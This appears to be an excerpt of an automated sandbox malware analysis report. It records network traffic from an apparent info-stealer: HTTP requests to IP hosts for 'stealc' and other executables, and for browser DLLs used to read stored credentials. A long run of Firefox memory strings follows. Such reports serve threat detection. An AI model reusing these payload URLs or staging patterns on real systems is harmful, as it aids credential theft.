Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 7_2_0031BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

7_2_0031BD60

Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2590223303.000001DEF7FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2580813098.000001CBE7950000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2625098000.00000238E7430000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2625566496.00000238E7603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2938979510.0000028621A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account, equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pubads.g.doubleclick.net/gampad/xml_vmap2*://pubads.g.doubleclick.net/gampad/xml_vmap1*://.adsafeprotected.com//unit/://.adsafeprotected.com/jsvid?*://.adsafeprotected.com/services/pub://trends.google.com/trends/embed://www.facebook.com/platform/impression.php*https://ads.stickyadstv.com/firefox-etpexecuteIDB/promise</transaction.onerror equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php@mozilla.org/binaryoutputstream;1 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.gstatic.com/firebasejs//firebase-messaging.js**://id.rambler.ru/rambler-id-helper/auth_events.jsTerminatoryTelemetry: Waiting to submit telemetry equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2624675381.00000238E7390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -os-restarted https://www.youtube.com/accountH equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3358002708.0000028632E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /www.youtube.com/accountMOZ_CRAx equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3353317296.00000286329B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2579191427.000001CBE797F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2578648250.000001CBE796C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2581107426.000001CBE7980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2643663526.000001F414100000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2942352042.00000286233A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows? equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsmmoD equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2643811635.000001F414174000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2580813098.000001CBE7950000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2817649774.0000025C6DB07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2590223303.000001DEF7FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2625098000.00000238E7430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account< equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2817649774.0000025C6DB00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Temp\1000017001\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2590223303.000001DEF7FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2625098000.00000238E7430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default; equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2580813098.000001CBE7950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exewinsta0\default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileUtils_openSafeFileOutputStreamFileUtils_closeSafeFileOutputStream://www.everestjs.net/static/st.v3.js://c.amazon-adsystem.com/aax2/apstag.jswebcompat-reporter%40mozilla.org:1.5.1@mozilla.org/addons/addon-manager-startup;1://pub.doubleverify.com/signals/pub.js*://auth.9c9media.ca/auth/main.jswebcompat-reporter@mozilla.org.xpi://static.chartbeat.com/js/chartbeat_video.jshttps://smartblock.firefox.etp/facebook.svg://static.chartbeat.com/js/chartbeat.js://libs.coremetrics.com/eluminate.jsresource://gre/modules/FileUtils.sys.mjs://.imgur.com/js/vendor..bundle.js@mozilla.org/network/file-output-stream;1FileUtils_closeAtomicFileOutputStream://track.adform.net/serving/scripts/trackpoint/://static.criteo.net/js/ld/publishertag.js://web-assets.toggl.com/app/assets/scripts/.js://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//sdk.jsresource://gre/modules/addons/XPIProvider.jsm://www.google-analytics.com/analytics.js://www.google-analytics.com/plugins/ua/ec.js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://cdn.adsafeprotected.com/iasPET.1.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://www.googletagmanager.com/gtm.js://pagead2.googlesyndication.com/tag/js/gpt.js://static.adsafeprotected.com/iasPET.1.js://.moatads.com/